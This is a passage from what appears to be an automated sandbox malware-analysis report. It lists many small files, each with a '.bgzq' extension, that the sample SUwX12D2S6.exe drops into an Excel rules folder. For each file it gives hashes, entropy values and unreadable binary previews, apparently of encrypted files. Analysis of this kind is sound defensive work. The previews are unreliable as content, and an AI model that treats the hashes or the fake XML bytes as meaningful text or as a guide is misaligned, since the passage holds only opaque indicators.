Preview:	<?xml.E.T.z..K...s......7....Y..(.~.E,<.M.G,..8...+iO.W zpR.t,....{.b..-....:...Y-.@.S.N3....iD.R......._..@:...6..(.7....eg...p<...B...)...<.....?..}._..c.r.Z}BCv..h....t...;.....K..!.b..l"V........`'j.[w.....-.9Q.....e.>...pm.P{XG...T..ks.^ .Wu=B......6..[......fO.].I..[~.I.......-Ti.h..jL..F.....U........uQ.1.yn.3.......w..._....[.....M.. 2@..>.\|...6.v....K+...[..8..m...p..!0..+\|.%j...".6..H81.G}.....m.h..tF.C....v..:X......o..c......0.....Ww.I.....9LJqW.........I3...g]?..m..,M.X".EGa....u...._Vt...r.>\.wi.WK........F.+..L..N5&?...G...Ks.u.......vz..Q..M..o`C.N_..1.T.I...:~..\.~.`..A"5...'.N&..4...9...5.....&.....Wr.U.A......z..L..T.7....h<. .1...nL./!qxq..0.^%.N.Xu...e..B..s.${...e.8o.p.h'....:.C.kUw'".A3M.....p.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170060v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	725
Entropy (8bit):	7.742477082768534
Encrypted:	false
SSDEEP:	12:gdkD+akcJbATYq5U6VbdPKhMrTMwRk6x34ifa+i/E0KSVsFYfLejVcii9a:gdkD+atbA8q5U6VbdPKyIa3HZGpwYTc9
MD5:	92B37C98A2E2482157E8BA3FEBB5609D
SHA1:	5E073B810E68952EEFB25B5690100D3F4C6CEB82
SHA-256:	C642FEE50EF688F19573F4C85D64E67E6505CDDDA8FB14D04600A09C1744E7AD
SHA-512:	CEE93AF457671AC58BE7D145C7CDF505C28D851E2F3FFD0BB855D65A04846ABD6C577F6B6A6D4384234E0266D2BCE6F6087BFC60CFD0B125BA24C3BC18BA4355
Malicious:	false
Preview:	<?xml...v.....X.d....#.p.^..P.....k.c.f........51.Ep........C.CfnU..`..V..";...'......-..`.)....C.gC.V..\:..U../.;.9....6......k..E.....S7.q.....h...#.@.w...7.\|....!.+.......1.)M........bI._..x.g..o........P.%......Z4...\T..}.^....-....S.[\...=...K...K~.1%.J..D.e.GX.=K......u.<M... ..7B<.W.H.r..d.....y,..;..m..W\|..5I.... ..R.).g.I..-...JlE#FGS.....P.Nu.R..u.(...<.(..2.?....F..q....p^._....~......I.Ws.....X0.v.1.c...#.h.r.,tt^..L5.\|.....c...I....3Q..X.`.#.o.l..y\b...[S....M.B......+..ar]u...G.....&z@..a.E.M;.9.J.(7..C}4.a..X.B..:..E'.....U;<...1y......-^.Y....O~.;.....j..#.r......T.N...[..[x.....Z..%}L...J..H.iitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170061v5.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1175
Entropy (8bit):	7.830216856126305
Encrypted:	false
SSDEEP:	24:/PEK0gvyC6nkrqqNziulLO+RgjH0udkgiym/rYDZ1Y/mVbD:X10gvT+q0HocriymzerY/mFD
MD5:	67EBD95A1BA75310BA7FA0D5BCF4AFFE
SHA1:	0AB95A0053B6AF2830002E498B02CE70440BAD39
SHA-256:	8A45DC8BFF84652AE23E56847A4723654DBC8FBE2F076DB716A062ABD772527E
SHA-512:	5EF061B7B645BD05B7ACA47680CA327B77564860E5C05F89D49EB05619436552F4E1F592F7F47342FEBD473213B32994D9A43C259867D16F695B033F2C1F30B8
Malicious:	false
Preview:	<?xml.J=[..g..4mW+.a...k0+......Z....$.)LA.._.aCZ.e-....._..[.?.....T+.\4....U.].{.X.?S..#3`..h%.?.u..M{SkG.&.)AJ.9..=.Ag.a.~...mo.<....5..^,.0.OC.+#9=TF.......CM.,r....t.-..<.1........<I~.Z]v#6jAN..h.)9..IB...d..s...'...<....4.6.s.M..\2.k._.5.....5.....?.X....9iI$..Q........?..x...w....'b.@.~.M.\.(^.T..&..e.R.+.d.2.o..6..V!..q..m..#.rA..n...Y..$p.Qy....n...}>}@.Wme.>.Z...v...Q.m..B...._....A..3iXR..P.....dR.^D.f@X<<...N\si.s...n...c+........i.~....1x=..#1j../...]....J(.vJ...v....q%...........Tj.%.0...-.....G.k&g......a.....[..4.....N.'{9......8.K-?)c9j.U....z....4.....B..`....4.i.+..7...-....Z._..@.....w.P. <i."\|m.Se...~6....U......\..8..a.u.&.y..z.9..'..K.m...Q.!...A...F..R.R+.....'JQ.ASv.p_.[ku.x.\|...0.x.K.!.vy..U.K&#l.'...p...2....>...w..aS...../e/. ..._.'8.J.3...?..*5....nDYX....-...>..v...~.\|...&......v...(...u....v..y\|Y...\|.hL.4.9.G..9Mqpm.$...K..;..?...p#.....WX.........-E..Nj...B)#...YoSj;l.i.%...r....9..@..s..D....,B.-.}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170065v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	724
Entropy (8bit):	7.733727986886855
Encrypted:	false
SSDEEP:	12:azPdC9WO6WURG+xfGYA4rQYpa5rx0mgCekQJPlvEtlEWTw7PS6g3ixkisjVcii9a:I1C0rc8gYKqgqPEWh7P3yu2VbD
MD5:	7036BD2D38529DCF3CC919A87FB3FEFD
SHA1:	7A87B0D9D6520EA58FBC9E017BAB9582C3FE6D29
SHA-256:	44F1C6CAE16418280FF68F338DF85BA488713AC1738C109EA34158A189291C1B
SHA-512:	0F333018127AEC1044D55817B1245732E7AE64967BCEA50054D5D43618373B8A948BCD5AC084FE73DAF82B35D4DEC0B6A31569EE5263F916C7E9905EE4A5118B
Malicious:	false
Preview:	<?xml..D..`.x./Q...............3...}2...0./.f%.y..(.....p..5...>f.I.1Lw.L...^.W.......S...8.~...9..;..w.]b{...O...W.x=..]I.L..]...n.1...4<..'.......BO..".,..o..A.iaa.T,7.,I..I.7RuH..9........;*....xC..........&P..T.r..0../..G.Y..jRC8#Vh..^............7.e+/..#7...6tLQK...\|"L#...K......./4G.....5....O!.Z.0.e.........Ig...x%v...zy.^.)../L-_N..(.....X....B.j..h.e=,..+.:c.RQ....y.U.,..d-......W.....J%s.....w.3B...!.d.b..2...{....I..:.1N..-W...2.^.^e}.......(.&..<We.u.w.o=..).....Y....:uJ....l.SV....om.<(.k.$.Ru...Y.(.....@..M..'[..o..%...S..FB.3c....]... ..G....._...kv"vA.=....iT......@......."....Kitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170068v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	746
Entropy (8bit):	7.670093766442514
Encrypted:	false
SSDEEP:	12:E0GphK2jJ3UalMa/DXqemLQQ1NPQQb77/faccb1eElYZ+cGnTmd0ZhjKb0ejVciD:jMFd3UaKa7C1NPFbvIbLYsn6d0ZVKb0k
MD5:	0F932AAEBC574EC6D988F8CA491333CA
SHA1:	8EBE79BE8B95D8F2CC5BE788916A262777B61B91
SHA-256:	A49E00213CBDEAD33B5562D4985026A060C995EE33652BEA2E3DDF72799984C0
SHA-512:	36ECFAAEDC56B6C0A9841821655E8D252BD6EE53DAF2A5A104AB087D5216B1B61C93052F74B08B7056EFFE7D3B10E9FF258590C2CC4B1B731C8350EAAF8825DC
Malicious:	false
Preview:	<?xml.+j..V... A.=\|.0o..y..q....,...8.......o.K.......j2!......lbh...H...}..Id.../..G..o6.7...._.>..Mr;^.L..kY..C[-...:j}.w}\|`.._j!..sn.1..1.?ok...!.54..2@..nM.'.o....0.......=C.jK..U.L#.,~..{:\|^....#.u.l.V.p.x.W0..X"..?.+.blAA/4.}...<.X]~..K(...$.mb........4Vq...h.."E.[.U....x..ol.<gt.X.._...B?..C.........D0p.8.>5{.....3...",.Y Z%c..$.a..Z.Y.j... ...$Q(S...#~.9...~!..P.+.c=_Q..T-..4g&..Q:..2.~..:.....!SfU8.....H......AY....9.0hP..A.S..59[..y2....-/p@.....>.W....!.....F.;.A....M.....>.\|.w.~+..../8-..3f1{...........h.}....g...........R~......s.o.O...R.}.99.?../.?....{Jd.1`.....!.O./.*.......H...lL..+.3.iN?.}b..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170069v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	857
Entropy (8bit):	7.7378871450966775
Encrypted:	false
SSDEEP:	24:89G0zCGgnA4LGExwg+355zAMdUEEfR/FhOe5IfWpIVbD:89yDLGExwVqMdd4/5tpIFD
MD5:	8FF7B6DCB69260DBE8962F1B0CDC8E63
SHA1:	4869DAD5E4971D8D5E48A58BC06270F767AD559F
SHA-256:	256EDA29F9E44E181C5DB402A6AC2D93DBFE9E2191400B5206D30720AA8D5DBA
SHA-512:	F369CD60153A1008BB8CEE0E2557041974B11CC6F553C99A08E9A1559B207FDAE4CD6D39AF001D1F2F39AED6FE95B8DB8953156B19A0B18BA2A84E1C4D3547EC
Malicious:	false
Preview:	<?xml.....e.3.z....(0.x.lN..N.......v\...X....2..Y....3.....@C............SrTI..H.(..=...Z..A.,.I.{3..Gf2k.@.>....[.k..........<..K..\|.EST.M~$.... Q.m@....,...D....=..(.\|^...2\....UuX...:...+.0f..@ -.].k....NTj...7...Y.K...~{..z..>E.;..&.b.I.{d9..'<.)Ef..}.5.pV...L8V^E..uDG.:r...q..(.\|.@..@.).L".....!......N..q...zC:..y1..;..?.k.+G.~8cC..IV.`.........4...i...6Z....Vb.\..\dz...WK....(`&s?..9E.Q..Q...wfZ;6.....I7..H4...C....K..8...\|.El9.2........n../eb....n@.'I!.1.<......_\|..Z....{6kk......<...H.N.......`Z.m..;.1.9.}...C.I.^....P...N^.__E%..5..R....f.<.[..XWs.o].[(......\|L...2h0o.u....<=0..R.u.u.-ah....X.by.Rn5.u(m.y...t.^..=0y..D........W.pBO..=N#..ot..r.{.a...K@...#.._E`..'.O\|...:......,...TR.A_.wm6...H...X...i"..R......Mh5(.....+itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170070v2.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.72536266021808
Encrypted:	false
SSDEEP:	24:z0k6v0opZdOHGg9T1bqCxfneKBP/LN6GWCOWkGVbD:zqpZoHGgN1bqIHNYgOdGFD
MD5:	860C927262633F6DFA21AE054B64017E
SHA1:	ACD74AA057F770A0AB032C12ED34291C5BAB4F32
SHA-256:	F7BD36E348EC96E70B6CF8F3B34503AA91F4C41679EE78694F61526F80CD2521
SHA-512:	9A2785C77D86CEDA1967FB71C3EF9C88E561F6132FE921D37AAA6EF08DC04AAE5D32D6FC42A404A483F8FAE4DB2A03C8712AB7925D36C68064C39BABEFDEA724
Malicious:	false
Preview:	<?xml.,...%..B7.f.9..3Z2.o...{.d...L`A...h.$D.?..b' J.G...$.\.]...Q.w.\|G.v..i.9?OG%.X...K.Fl.S..a...8.b.@.<..n ..0.2.?........Va.Y..l.[Z%.w..\......s'..^...a./....1..sZ.e.Hd].v....D..).U.......L.'.E........?9QK.E!..X....;.~b.P..d.%..............h.=NQ.^d....7LE....{.Gg7..,b.+U..=P\.D44...dO..\..&{s..^. ..a..w...............\|g...^..]!...I....8..a..n.n..M...t.A..@.....a4.Aw...9...tr... ....\|+.@H....j...".,;.b!.[....5..yfAq.9. -.VboI...O .s.....S..Z...e4Zft6..}.". .........B...G.$.........N.%..&$3...p..BI.....h.OeO.^1..]E.8G..Me.a..Z./.O...q.~.V.&......5.&7e-&}...n.@.P.")..KS...(......x.....D......<.=.......5..`N...T.J.H....wi.....{...H.../..\|.->/......u..\|aI...B.S..Y.\|.v..vhP.y...I...8!..f..v=..j.X.x...e.LeEiW.Z.M.Nj.g...BEY.....PFfk..[bT.......m.....vI$.iitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170071v2.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	7.817779235471666
Encrypted:	false
SSDEEP:	24:PAzS0g3Aqpn7XxjaFT9jwUcEDDSzgWPYzQrF+VbD:mS0O8F5jFPS3PYzQoFD
MD5:	8AB2F2C0298C6D191288E829430482FC
SHA1:	544AFF077205209D963AD746439B1BAEF7F6B159
SHA-256:	B147769DB4AC3BB53A7BF01DD20C311C54503D81B33EA147BE72EE4919C88F7F
SHA-512:	5A3BE5FC725CFF6CF9A810BB740F9A975D2219FFF355E805E5DAD3767A003D0954F404240D5E3C6CE0F3F2B858D4CA347BFDA9040EBC29D777E23DE2C9B24F3C
Malicious:	false
Preview:	<?xml....%...q.....\6..s...u.p.r.F.e.y...9..........z...{..{\|do...5.........7.m.)._..n.@.........I...N.2V.d.....uZ>j..6..T=.`.Y....h..yM....'..\...S.f,0_.1...<.6.`...tS...~.%..~.o>}........._.wh.._.z.y.........q..E...7....8..i..k.HHj.Y....IM.z.b.F.,.=...^..k...A..].6h.!.n.....l..G....R..K.?o...{.E]..s)..C.._.J..l=..(8h%.........:..H..F~..%..BZ...sZ..W.E...X.#....<6......e.iq..~...3....O..zNC.5...^..x..as..p.y.{>..b..c$2..k..N...kD....G.h.3U-.Dt..a*a.e.q.B.[+L.S8rv..i.....H.....D..'...9..{..a..IAs."S..#.W.@........UZV..I).DLh......C..-..\|.$.M.[..3&x'.. ..W?..7...f.Z...'....:n..GE..h.....n.1..\|.....l=~....Y.\..7r....M..e..f..5.....u.c.j....YN...Y..J..;l.Q......r.../.eyv.6...RG.V...\... .(..w..&P.......}9..+..W......ed^..t..h\..g....%.l........8~xI...,.....~T.`R..m1...$c..{[.L.....%2t....v/..A.R..c@...zS...q9hLC..T..$....Pqb....Vc.d..J..@C..'..bz..`......_<.wG.......LER.{...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4D

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170072v2.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.7044441857393275
Encrypted:	false
SSDEEP:	12:wtTtYF8s5Cj8gS+Zyf1OjNC00jTYLVLhxU+KPfNysDr3X7qKESyvA/Ia6NjVciik:wtTtQT5Cj8gpAfEjNCpALVLV4ysDrn7m
MD5:	C8C239B1BC988A704C5528857CBE5DC8
SHA1:	15E1356F20F4EAFE06201511CCB682598EE8A7A8
SHA-256:	D2D0B92B6257D266E077396AB80C61EFC2FF68630C1464512C8F8E1A0DA96F97
SHA-512:	9B96EE9D4852718723E563ECF33D9C09C19F9339842B2AD58BA4EE7FF7513B3062EABE27B4FED3E61CECFADFBDEA756292D9A69FF46DC5333650FB667AA04B9A
Malicious:	false
Preview:	<?xml.M..........@.y...~&.:....o...i6...a......K.e..Y.Yl....9.../N../..../;.h.......jI... ..q.n.X......!....8bLM....~..7.Cl.5.@....1.....g..P!.Q1.h1..w7s..L-X!...O..a[g.........jea-3....sQ...lw.9.g:.A..j.).......K..k.m..C.[d..<.ScJ..A..nZH...8-..3.j.]+d..........n.\|....[.........{........%.q..+Sw.e.=..^kzP.rC.0...J7... ".gK.f8B..8.efb... ...B._.o5....3.zT..j.....^-.C.......&.b.2..S@IjU.C.9..kF{{........?.?...rM.........i(..ercL..\......#.9...p<...^.....W!.}.M...3./..RuD."..........+.0..a6.@.u...2I#eu5...oy.Oo....AZ>.w...]7p....jY.f.\=u..hGq...N.h....Ep.>e..(.M......C}X.a.{V...3...**.\|Ym.....(.+.HfP...?.6U.n.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170073v2.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	931
Entropy (8bit):	7.792058682197274
Encrypted:	false
SSDEEP:	24:YeTYF575gAWOzsRgVnurmoRF8Qc4QRrNqkLFCdnVbD:YeT675gQzsK5urHc15q+FCpFD
MD5:	16F4C82C30296058E0E1A74BF63EB21A
SHA1:	928B574C43F4AB0B90A5EF567A6AAC12E465D00A
SHA-256:	DAA8C19AE15C063E1684276C8B440102C0C32E3B5521A2F41F76B4F2364CF743
SHA-512:	BC95AB8C017745A319BD794C4E368CF9ED170756E30DFA770AF28F9C575E4D3BF510470429BAB9604416F1E63057372F556C8D003CAB8E576C1CA1565D7272BC
Malicious:	false
Preview:	<?xmlo....+...........O.. 3..;h.../...M.5:HT.A....h...n.........[...D....._....{M...b.....l..7..H)c];.~...C..1....H.]...{:]..5..\..~#/9.....\c.{....e..\.RQ....!.=..+...........w...9.nc+..Q~.~.-.J...055 ...w...In)?..L{...<T..2.6.t...J../.w...{.)e.V...S.7.>4........$QrG.K\.W...eJ..Q......W...[F..K.4T....B..wf.U<r..b...Nm..tzW..]%.T,.m..f..5c.Q....po.Fk.n..X.....0.c...z+E.JT ...-I....{..Q9....\|..4s?..{RQIo.@...w).s#l.A........,&....Q....D....\..@..&.$&...s.Yt..X.SP.......{....0O.X}.?...!..3\...2...pj..C6r1k/.P.F.tp..f..K....dwU#..... .../....='(}..&....c}._.....\|0........Q...(..M..U.n...M.uWr^..i.......~O...l.4.A...Q....GF.].g.s[..2?..M.o..G._?VD.s[C..\|...!.X./...%.Ulm7.../rY.?...*..LeA.^...Z.-..... ~..8.......h.(>....u.'...6...L).[\.....".E..v.!..am....B;...K.t.....~]....;.kz8..:..+kH..h.Z[.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170074v2.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	923
Entropy (8bit):	7.7722141951992025
Encrypted:	false
SSDEEP:	24:IxCtW9NB+x+L8dVPObn4DxPH0Vy+3fQdTD6VbD:IL9NHLyVbxP0VyQnFD
MD5:	1B50FF6E8DF8650090A84D915CCF6BE0
SHA1:	E3C20B9F94A3D040F8F1E12814803EE25BE93C4C
SHA-256:	4161391531663DA985EC1087094BF43EEE3B127F284831D8CBF2FE57E3C0E670
SHA-512:	6A5CB42C0859BC2FF27AE391F49AFB1F58ADC1951F9D7A01F9E3C335010F837149324E635777098B1DBE381EA2778C352795C35929F8C4A701DB439FBE4FAE16
Malicious:	false
Preview:	<?xml.8...uZ.5Z<.5.z4....E'8&~D@....m0..........g..>.Q.n1...}.....Tx....n...0`.D.....3....g......<.+...s....Q..jA.[.....L..R?.D"..4...H....K+.G...U..hOD..M..GH..M!I..I.._.....k.5...:..RO.g7.....@.`#..<0.." V..z].#Vz....$..C8s.vI.0.X..Uc.F..]...<.%.....e ^...(=....@...*u...\|.....n}^.{.......H...2...D.....[....\|Aa.D.I:....&.u........F...M....._......w.^_a.)a...%h..4.<n)."....~=N...i....{6}.z5.....y...H....<3.#...0............k..SZ...</?.e..G.......H.....m.....P?XoG..MI.dR....Lr.4..=.....?......>.G0o.1<.;a.;.u.IU$5&r..yC..=...K..0.H._.[....n...j.PV.+4.....?.j.n..('0.}........^.v(........C..{.{o..X..R.....\|.;....j&..,0AH6.H...k..&WGKR...[JdP....O...-......gy.{bg..sK.P.......=B.g.hk..9.]r.p.F..)0...Ly...C.x<.?....x.."W/..>....X.;.=u...,.$.e..r....$KVq.Gmf...<..s.D..P...>...>5......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170075v2.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1267
Entropy (8bit):	7.868291724613357
Encrypted:	false
SSDEEP:	24:kQSai62PdLyolI5vPiRMKooOIYWOAMNeQc2M/Epa71/7vwKEAliBVbD:jF2l5I9aeKooOCOFeQ8/EpC1/DwKEAo3
MD5:	01052A968CB1B64B755A993D42BEE259
SHA1:	7F2F3164F41B269F95E5E1A6D1800DC1BCE2E842
SHA-256:	BDA3C2D73CD418B41920FBA22B87FFC90C5D68AC4EA490BE8858320FDA981A6F
SHA-512:	8AD85072010DC3D7B781EB05F44F6D400B15D5CE3EE0C584A547F37CEF4C16A65234549B203B9668F5FA79EA5C19918C44818618325EB7F6164F654F9C69F0F8
Malicious:	false
Preview:	<?xml.qh`.&..P.....<.p').>n.I8.0..K'.."F.n.(jd..dF.~..... ........s..}..x'e..v.n.1I.7..MM5..J.....uj.....&.I.61o......YO...m{oP.....[\K.......k4...f&.j=..}..\|...3..C.D ...I--.PL.t..X.=G..pv./...R....u.....AXC.z....G'D./n..n0;(..].'...d78;.....H....._.U.\|......L..%.!..l.t.Rg.~.xK$.....PU_.e&..r......(:T.T....#.k.n.M!.Bp..M)4_.!.(...[.r.\r.....C...l.$.......h...wf.C.H.B....b...... N..._...@y......=..D..............$IZN2.....e.$t...!..f.9gf.......g..J.ns....";g...........+.%...5.M.D^.L..CS6.4{......Q...ep....$..7z.V..#..p.V.(U.=..m...:.i.@QQi...g.X.W~.S..>8.e....$e.m....'V.\.....4.a......Z`...!1......M.I.x\|./.=....Py..6.h;....?..\|.+x.a...I.>..@e....<..7..g.V..5.x..7Z.n9..._....b.7G..yI.[.j.`.....P.+.#...S..~.n9...93.>4..C.....E".4.-.^.......cCm...0..E.K...e..d+q..iFt....ZNS.{hr...B...R7.......Z. ...,........%.....-+...........<.g%mRA..n.&.".....F..2.o... ......-...z1F....{.E....8...H...xX]#.......3.>R".Rp.,@.g.m0.Xa..kO.!w...O.....Y[ls.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170076v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.635478652264826
Encrypted:	false
SSDEEP:	12:ecIBNveOiA3Bb3qMIosqjGLBvd6HZbGasCOAVdbX/Fc/uiUjVcii9a:ecIXe303bIzqjGFd69O8hX/FcSVbD
MD5:	86EE1DC78BCEDF11473CB9F2E2303D8B
SHA1:	6B46B195B66B7C64CA45EDE2F6C2D72C5FC2D6ED
SHA-256:	80E21C49B64FD33AB409D50AF3B01757DE234EEFC4923F0BF44AFAAA99BEC7F0
SHA-512:	282DA86CA28BFC58187C0F2A80E3CC781E97C408A0D240B6D3A06FC2C486B99905AAFCFEB968927A11752B01AD159E53041AA124C881E8ADE726DED651DBAD49
Malicious:	false
Preview:	<?xmlF...%...m.kd#...... E.M5....p_&U..g.M0#f:.4)....O...@..X0..i\.m.xQq..L...1.DS....tT..J.....6[2=\|..:....m>#.....6.....!....j....F.T5.6...g. .]`....^@....G.M.b..7.A.T...B..Q..H...'.....d.3.h... ..s...WjQ...:..>0u...v..;.....\|.k.........-}Zh;.~).8...{`....\.:.-..c..1.....E..%-......y%f...l.4-.;...........>./.p..C..[.G.].........A.q^....ht..63.."......3v.P..]J.......L.t.....k0.."`...@.lv..o..EP...Z:..]a..@..<...I.38h.5".%..I4]....u48....[.)...oC.\|NB........h...}}.i..........X6.TeT......GZ.8..k...I.J6.?.'.t.M\....x.6..H.Z...6@d.....%.`..dxx.F..BuI../....+.....=9^j..0.j.4.`..7..WF%.T>X.1...5..zT.JHitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170077v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.698624911840948
Encrypted:	false
SSDEEP:	12:KWEg3DTiRK9NqgfJmIRt8HYLawn09ZvxLCAUJ/+DOiWepx9x2ilo5K2URMwrMnVY:KdMl5uHr9Zvxf6nqx9wGo5iqwYVwVbD
MD5:	DAB15F33F6AB85114F86F6A08035EEAC
SHA1:	FAC42BCD136B74330457B07A81769A65FF5542ED
SHA-256:	3127ACE6B179ECED792B5FF0D91B8A05861A39F83F7B74ED452F34354449E547
SHA-512:	BF718B1F83EF3C4304F8D4707B28F0D4F215C832D9F40929D38D955EACDEB9CEDA039EDDE3AD91BC4EF51B576A0B3C2F0DAE3BBD4C57E667C050A7EEBD3B1088
Malicious:	false
Preview:	<?xmlkzZ.g.....f...4.H..A...Q.5...8"R.....a6x..\|...'....d...4b..X....'...#WL. i.l...d...r.....B..y.Y._.SN...%.4v..Z.....fJ..7.K..2\...=QR.....G......t............Hd.....s.'..X..{....>.........c..4}.a<.H.e.EV.P.!.L..:..6%.[...o...X.pZ..:._^..B.....@._o.X1....7...X.H^l...f}.Y5..yq....e..+....e....F.....A.SVL..\..../.y..,+K"o`vW}.qW...b...s..P.$...o...ale]7dwd...l0M3z`.r....y.....srk.S...+..(?....[..1"..L..!..".v7....8.Z.}...D..#m.+\|V.;...B..n.\|E.W..X.....t.,......&.].y.+...VC./0.....h....1..#..N.....f\n.pD\j[.+.'r......]Y.L.._...R....^. Bj+.H.[.C.....0i..^F.y.h..s.%0d...b.N#}0.E7..,B.....7..h.~.....t].e...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170078v2.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	817
Entropy (8bit):	7.751711724199376
Encrypted:	false
SSDEEP:	24:nC0ffP9RNjCqpteqm56E+Bweap+Ay2VbD:DXPFlpteqmkXywgFD
MD5:	BE960F5896D818907C9056AFE6B6C352
SHA1:	2AC60305D26C6A747BAE5B66069301B96373A88D
SHA-256:	D19997A593AD26E61F9866B4163BB94169CA875603E39AE3A23700F62AA9CFBB
SHA-512:	F259F9C413B4772A0A23432F787F228ADCCC00E8B7D3C8B55C76C79694274C26B1DBF096A0E0B34C99E72E1AE8E4D5D2C44BD996E366511E038BB912806F4D6D
Malicious:	false
Preview:	<?xml....y....)...\|...^...\|mS_....lB....h...q.[@).p.D.S}..R...~.......s...j.'.90..S.,......9....@i~\|gKG..oT.JXuW...j..y..aXS....!m$...z.-z..&..g..5e..:...g..`".{...$.\..d....y..0r....XeK.a'...<.kQ.......S.27..."i.p..G`c..7...U.........<.Db~.,..8/...cY...u..-..AV..B..P2.......2..5rN.Jl.".h.1T...>z4....e..4..Mmv..U..K..T.=k..@ZE...G0.....p..0..8....>.l......t%.2.....W....%..am.p...... ...'t.i.N...........i.`{ZO.@.....O}...ME..x......]...).`!.u....4\..b.Xp.w..9].s).W+.....I....!..........`...(.@P.@zA....Vq.t..`w.R.b.\...q...E.........l.c..F..........qkK/.TUi....[5.O........9...>....}.C....e=..:i.+....'..X.3..K'..(....v<(uG.6....Md..."......c.<..{(8#.=...r4r....?O....Bu.Vx...1.Y....\|.;jo.O;......Sw.Yitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170080v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.739217942067262
Encrypted:	false
SSDEEP:	12:GSAMdhxnWLHV4UGMUI8jg36d22xdduY3hZB9Oa78np4D0R6e5jVcii9a:DAeWcm6d2WdzxZB9vQaDaVbD
MD5:	C7E81C051628141968B9C82E7F90F6FE
SHA1:	1F42E34541A6768AEC1EA7A7B82C7B88D9117607
SHA-256:	0397A405DDEE0ED342FD03F8C15D415CD67D7B4218322A814754E801AD7BF138
SHA-512:	039B6208F05D6ED8766DECED900D8DC4480F53C356E12B6BFFA8080D8359B4CB6922C93BF860E8B96F85D0EA4391DEBB8105E88CE69E8B50C9507FFCB83E7E95
Malicious:	false
